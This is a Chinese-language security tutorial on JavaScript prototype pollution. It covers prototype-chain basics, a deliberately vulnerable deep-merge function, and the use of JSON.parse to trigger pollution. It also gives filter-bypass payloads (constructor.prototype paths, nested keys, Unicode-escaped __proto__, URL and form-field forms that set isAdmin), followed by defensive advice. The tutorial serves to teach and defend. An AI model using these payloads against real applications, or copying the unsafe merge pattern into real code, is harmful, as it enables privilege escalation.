JavaScript 原型链污染:原理、利用与绕过
1. 原型与原型链基础
1.1 JavaScript对象的动态性
JavaScript是一门基于“对象”而非“类”的语言,其核心特性是对象的动态性。与传统基于类的语言(对象属性由类定义)不同,JavaScript对象可以在运行时动态地添加、修改或删除属性。这种动态机制催生了一套独特的“对象继承对象”的继承模型。
1.2 原型与继承机制
JavaScript通过原型实现对象间的继承关系。新对象可以基于已有对象创建,被基于的对象称为新对象的“原型”(prototype)。原型属性并不会被拷贝到新对象中,而是通过委托机制实现访问:当访问对象的属性时,如果对象自身没有该属性,JavaScript解释器会沿着原型链向上查找,直到找到该属性或到达链的末端。
const animal = { eat() { console.log('eat') } };
const dog = Object.create(animal);
dog.bark = function() { console.log('wang'); };
// dog可以访问eat方法,尽管该方法定义在其原型animal上
1.3 关键概念解析
__proto__:对象的内部属性,指向该对象的原型。这是一个访问器属性,用于观察和操作对象的原型链。prototype:函数的特殊属性,指向一个对象。当该函数作为构造函数时,prototype属性将成为新创建实例对象的原型。constructor:原型对象的属性,指向创建该原型对象的构造函数。
function Person(name) { this.name = name; }
Person.prototype.sayHi = function() { console.log('Hi, ' + this.name); };
const p = new Person('Alice');
// 原型链关系
console.log(p.__proto__ === Person.prototype); // true
console.log(Person.prototype.__proto__ === Object.prototype); // true
console.log(Object.prototype.__proto__); // null
1.4 原型链结构
典型的原型链结构如下:
user实例 <-
User.prototype (user.__proto__) <-
Object.prototype (User.prototype.__proto__) <-
null (Object.prototype.__proto__)
属性查找流程:解释器首先检查对象自身是否有该属性,如果没有,则查找对象的原型(__proto__指向的对象),然后继续查找原型的原型,直到Object.prototype,再往上就是null。查找在链上找到第一个匹配的属性时停止。
2. 原型链污染原理
2.1 污染本质
原型链污染的核心在于:许多对象最终都会连接到共享的原型对象(特别是Object.prototype)。如果通过某种操作将属性写入到公共原型上,那么后续创建的所有普通对象都会继承这个属性,从而实现全局性的属性污染。
// 污染示例
Object.prototype.isAdmin = true;
const a = {};
const b = { name: 'tom' };
console.log(a.isAdmin); // true
console.log(b.isAdmin); // true
// 虽然a和b自身都没有isAdmin属性,但都从Object.prototype上读取到了这个值
2.2 污染触发点:merge函数
原型链污染的常见触发点是对象合并(merge)操作,特别是在实现深合并(deep merge)时。merge函数通常用于将一个对象的内容递归合并到另一个对象中。
// 存在漏洞的merge函数示例
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
2.3 漏洞成因分析
merge函数的漏洞点在于:
- 使用
for...in循环遍历源对象的所有可枚举属性 - 对对象类型的属性值进行递归处理
- 对非对象类型的属性值直接赋值
- 缺乏对特殊键名(如
__proto__、constructor、prototype)的过滤和校验
当key为__proto__时,target[key]实际上访问的是target.__proto__,即target对象的原型。后续的递归操作会在原型对象上进行,最终赋值操作target[key] = source[key]会将属性写入共享原型,造成原型链污染。
3. 利用技巧与绕过方法
3.1 JSON.parse的关键作用
直接使用对象字面量定义__proto__键时,JavaScript会将其解释为原型设置,而不是普通属性。这导致for...in无法枚举到__proto__键,从而无法触发漏洞。
// 错误示例 - 无法触发污染
let o1 = {};
let o2 = {a: 1, "__proto__": {b: 2}};
merge(o1, o2);
console.log(o1.a, o1.b); // 1 2
const o3 = {};
console.log(o3.b); // undefined,污染失败
通过JSON.parse()解析包含__proto__键的JSON字符串,可以将其作为普通属性处理,从而成功触发污染:
// 正确示例 - 成功触发污染
let o1 = {};
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');
merge(o1, o2);
console.log(o1.a, o1.b); // 1 2
const o3 = {};
console.log(o3.b); // 2,污染成功
3.2 过滤__proto__的绕过
当应用程序过滤__proto__键名时,可以通过constructor.prototype链访问原型:
原理推导:
// 基本关系
function Person() {}
const p = new Person();
p.__proto__ === Person.prototype; // true
Person.prototype.constructor === Person; // true
// 推导出绕过路径
p.__proto__ === Person.prototype;
p.__proto__.constructor === Person;
p.__proto__.constructor.prototype === Person.prototype;
p.__proto__.constructor.prototype === p.__proto__;
// 简化版本(利用原型链查找)
p.constructor.prototype === p.__proto__;
利用payload:
{"constructor": {"prototype": {"isAdmin": 1}}}
URL参数形式:
?constructor[prototype][isAdmin]=1
3.3 过滤顶层键的绕过
如果应用程序只检查顶层键名是否包含敏感词,可以通过嵌套结构绕过:
{"a": {"__proto__": {"isAdmin": 1}}}
或
{"a": {"constructor": {"prototype": {"isAdmin": 1}}}}
3.4 过滤键名关键字的绕过
当应用程序检测键名中是否包含__proto__、constructor、prototype等关键词时,可以使用Unicode转义绕过:
{"\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f": {"isAdmin": 1}}
3.5 表单数据绕过
在Web应用中,表单数据解析也可能成为污染入口。表单字段可以保持键名结构,实现原型链污染:
__proto__[isAdmin]=1
或
constructor[prototype][isAdmin]=1
4. 防御建议
- 输入验证与过滤:严格验证用户输入的键名,过滤
__proto__、constructor、prototype等特殊键名 - 使用Object.create(null):创建没有原型的对象,避免污染向上传播
- 使用Map替代Object:对于键值对存储,使用Map对象可以避免原型链相关问题
- 冻结原型对象:在安全要求高的场景中,可以使用
Object.freeze(Object.prototype)防止原型被修改 - 使用安全的合并函数:实现merge函数时,使用
Object.hasOwnProperty()检查属性是否为对象自身属性,避免遍历原型链 - 白名单机制:只允许合并预定义的、安全的键名
- 避免使用递归合并:在不需要深合并的场景中使用浅合并
5. 总结
原型链污染是JavaScript应用中一种严重的安全漏洞,其根源在于JavaScript动态的原型继承机制与不安全的对象操作相结合。攻击者通过精心构造的输入,可以将恶意属性注入到共享原型中,影响应用中的所有对象。防御此类漏洞需要开发者在编写对象操作代码时保持警惕,特别是涉及用户输入处理、对象合并和递归操作时,必须实施严格的安全检查和过滤措施。